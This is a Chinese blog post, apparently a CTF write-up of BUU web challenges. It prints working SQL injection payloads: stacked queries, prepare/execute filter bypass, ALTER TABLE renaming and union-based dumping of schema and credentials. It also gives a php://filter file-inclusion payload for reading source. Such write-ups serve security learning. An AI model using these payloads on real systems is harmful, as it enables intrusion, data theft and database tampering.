BUU 2020-11-26-27做题记录

2020-11-26

[HCTF 2018]WarmUp

打开题目,查看源代码

在这里插入图片描述
在这里插入图片描述

在代码中发现了hint.php,打开查看,发现flag所在位置。
在这里插入图片描述

ok,返回审计代码,如下图
在这里插入图片描述

重点,一个这里
在这里插入图片描述

另一个就是这里。 就是提取 $page中 从索引0开始,一直到 第一次出现 ? 的位置。
就是说,不管我们输入的是 back.php?XXXXX 还是back.php?back 都只会输出 back.php
在这里插入图片描述

如果代码看不懂,你也能够做出来,只要你碰巧看过CVE-2018-12613 的利用方式。

在这里插入图片描述

2020-11-27

[强网杯 2019]随便注

打开页面,进行提交,看下回显,url传参
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

就在我认为不过如此,这不就有手就行的时候。
当我测试了 大小写绕过,双写,// /*!/ ,sel<>ect,等多种方法,均绕不过。
在这里插入图片描述

因为
?inject=1 回显正常
?inject=1’ 回显错误
?inject=1’#回显正常

尝试使用堆叠注入。 ------> 就是多条sql语句一起执行。以 ; 划分。

1';show databases;#

在这里插入图片描述

1';use supersqli;#
1';show tables;#

在这里插入图片描述

1;show columns from `1919810931114514`;#	

重点: 如果表名是纯数字需要用反引号包裹,不然不会出现回显
但最终查询flag还是需要用到select,。实在是技术太low。看了wp才明白。可以使用预编译的方式
1’;set @flag = concat(‘sel’,'ect * from 1919810931114514');prepare flag from @flag;execute flag;#
但是检测了关键词,不过strstr不过滤大小写。所以我们大写。
在这里插入图片描述
在这里插入图片描述

1';SET @flag = concat('sel','ect * from `1919810931114514`');PREPARE flag from @flag;execute flag;#

在这里插入图片描述

关于这段是什么意思,首先堆叠注入。我们拆开看,
1’; 单引号闭合,;开始堆叠注入。
SET @flag = concat(‘sel’,'ect * from 1919810931114514'); 设置一个变量=后面查询。
PREPARE flag from @flag; 预处理一个语句,,
execute flag;# 执行语句
其中变量名和 预处理的flag 均为自定义。
concat() 拼接字符,将’sel’ 和 ‘etc * from …’ 进行拼接。

方法二:
这种解法思路清晰,间接明了。

思路,通过堆叠注入,我们可以看到以下信息,表名words 下的列名
当我们使用1’ or 1=1#的时候,他会爆出words下所有内容。

但不会爆出存放着flag的表的内容。

那我们将1919810931114514 修改为words名,
然后将列名flag修改为id。
再使用1’ or 1=1# 的话,flag不就出来了。

但肯定不能有两个一样的表名。所以我们先将words修改为其他名字。

基本sql语句。
alter table words rename to xxx; 修改words名
alter table 1919810931114514 rename to words; 将1919…修改为words
alter table users change flag id varchar(50); 将flag 改为id

最终生成payload

1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#

在这里插入图片描述

1or 1=1#

在这里插入图片描述

[极客大挑战 2019]EasySQL

看着这个页面,看看上面那个简陋的,,这道题给我的感觉就是高大上,绝对不Easy。
尝试单引号,,尝试下 or 1=1 # ,
在这里插入图片描述

下面发生的事情才是令我震惊的。

就这么出来了。。flag。。我怕是假的,还去提交了, 没想到是真的竟然。
在这里插入图片描述

[SUCTF 2019]EasySQL

这题刚打开,随手输了几个数字,一开始以为是盲注,因为它不报错,只有3种回显,
在这里插入图片描述

做sql注入重点在于它的查询语句是什么,如果我们知道了他的查询语句,那么就可以做出对应的payload。
而这一题,我输入除了0以外的任何数字,他的返回结果都只有一个。
那么他的查询语句有可能是这样子,(语法不对,意思到了)
表名通过堆叠注入获得。技术有限,仅查到了表名。
select POST[‘$query’],flag from Flag;
如果是这样,我们想让他查出flag的话,
可以让他select * 。
即select *,1 from 234 where array = 0;

payload: *,1

在这里插入图片描述

这题最让我不解的就是,网上的大佬,竟然可以直接猜出他的sql查询语句是这样子的。

" s e l e c t " . sql = "select ".sql="select".post[‘query’]."||flag from Flag";

[极客大挑战 2019]Havefun

打开题目,啥也没有,先查看源代码,在最后发现这个
在这里插入图片描述
在这里插入图片描述

简单明了,我们直接payload:

?cat=dog

在这里插入图片描述

[极客大挑战 2019]Secret File

打开题目,啥也没有,查看源代码,发现./Archive_room.php,打开
在这里插入图片描述
在这里插入图片描述

点击SECRET 出现下面这个
在这里插入图片描述

很明显,有东西一闪而过,直接burp进行抓包。,然后打开secr3t.php
在这里插入图片描述

文件包含,过滤…/ tp input data ,最经典的,base64读源码

payload: ?file=php://filter/read=convert.base64-encode/resource=flag.php

在这里插入图片描述

解码得到flag
在这里插入图片描述
在这里插入图片描述

[ACTF2020 新生赛]Include

打开题目,有个链接,,打开
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

直接base64读源码,文件包含,懂得都懂。

[极客大挑战 2019]LoveSQL

多么熟悉的登录框,直接 1’ or 1=1 #
在这里插入图片描述

出金了。账号admin ,密码,,我一看直接md5 不对。然后尝试登陆。 发现他的密码真是这个。。

在这里插入图片描述

进行注入 order by 3 回显

?username=1&password=1%27+order+by+3%23
 

在这里插入图片描述

order by 4 回显这个。证明3列。直接查数据库,查表名,列名。数据。一套走下来就行了
在这里插入图片描述

-1' union select 1,2,3#
 

在这里插入图片描述

-1' union select 1,version(),database()#

在这里插入图片描述

-1' union select 1,2,group_concat(table_name,'---') from information_schema.tables where table_schema='geek'#

在这里插入图片描述

-1' union select 1,2,group_concat(column_name,'---') from information_schema.columns where table_name='l0ve1ysq1'#

看重列名好像没有flag,两个表名都是同样内容,猜测flag在数据中,继续读取。
在这里插入图片描述

-1' union select 1,2,group_concat(id,'---',username,'---',password) from l0ve1ysq1#

读到flag

在这里插入图片描述

  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

SwBack

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值